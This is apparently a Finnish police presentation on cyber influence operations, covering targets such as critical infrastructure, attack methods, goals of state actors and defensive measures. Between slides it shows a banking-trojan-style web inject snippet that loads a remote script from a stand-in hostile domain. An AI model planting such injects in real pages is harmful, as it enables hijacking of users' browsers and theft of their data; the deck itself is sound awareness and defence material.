

Tietoverkkovaikuttaminen

rikosylikomisario Tero Muurman

Keskusrikospoliisi, Kyberrikostorjuntakeskus

Kohteet, välineet, haavoittuvuudet

- Sähköinen media, sosiaalinen media
- Infrastruktuuri jolla on rajapinnat internetiin
 - Pankki- ja muut asiointipalvelut
 - Logistiikka- ja maksujärjestelmät
 - Energiahuolto, vesihuolto ja muu yhdyskuntatekniikka
 - Sosiaali- ja terveydenhuollon järjestelmät
- Järjestelmien keskinäiset riippuvuudet



Vaikuttamistavat käytännössä

- Murrot, luvattomat tunkeutumiset, social engineering, henkilötiedustelu
- Tietojen kalastelu
- Tietomurrot, datan manipulointi, anastaminen
- Tietovuodot, kiristäminen
- Järjestelmien häirintä, vahingoittaminen, lamauttaminen tai tuhoaminen
- Kohdenneetut haittaohjelmakampanjat
- Some- kampanjat, maalittaminen

```
[[DATA_BEFORE]]
[[END_DATA_BEFORE]]
[[DATA_AFTER]]
[[END_DATA_AFTER]]
{{INJECT}}
<script>
document.write('<script id="injScp" type="text/javascript"
language="JavaScript"
src="https://evilpahuushaitake.xx/script.js"></sc'+ 'ript'>');
</script>
{{END_INJECT}}
```

Mitä vaikuttamisella tavoitellaan?

- Hämmennyksen, epätietoisuuden, -järjestyksen ja eripuran aiheuttaminen
 - Epäkohtien esiintuominen, vastakkainasettelujen ruokkiminen
- Yhteiskunnan toimintakyvyn heikentäminen, luotettavuuden kyseenalaistaminen
 - Jatkuvat, toistuvat häiriötilat, järjestelmien vahingoittaminen
 - Päätöksentekokoneiston ylikuormittaminen



➤ Yhteiskunnan heikentäminen, vahingoittaminen

Häiriö, rikos, vaikuttamisyritys?

- Häiriöt, laiteviat
 - Useimmiten tunnistettavissa
- Rikollisen toiminnan erottaminen valtiollisesta vaikuttamisesta on vaikeaa
 - Vaikuttamisyritys ja rikollinen toiminta voivat ilmetä samalla tavoin
 - Valtiollinen toimija voi ulkoistaa hyökkäyksen käytännön toteutuksen rikollisille.



Mitä tehdä?

- Kattavan tilannekuvan ylläpitäminen
 - Vaikuttamisen tunnistaminen
- Poikkihallinnollinen viranomaisyhteistyö
- Yhteiskunnan sietokyvyn lisääminen
 - "entä jos mikään ei toimi"



Mitä tehdä?

- Järjestelmien ja tietoverkkojen tietoturva
 - Perusasiat kuntoon
 - Järjestelmien keskinäisten riippuvuuksien tunnistaminen
 - Poikkeusoloihin ja –tilanteisiin varautuminen
- Fyysisen ympäristön turvallisuus
 - Terve epäily
 - Tila- ja henkilöturvallisuus
 - "HPY haalarit paras peite"



Kiitos

Tero Muurman, rikosylikomisario
Keskusrikospoliisi, Kyberrikostorjuntakeskus

twitter: @TeeJiiM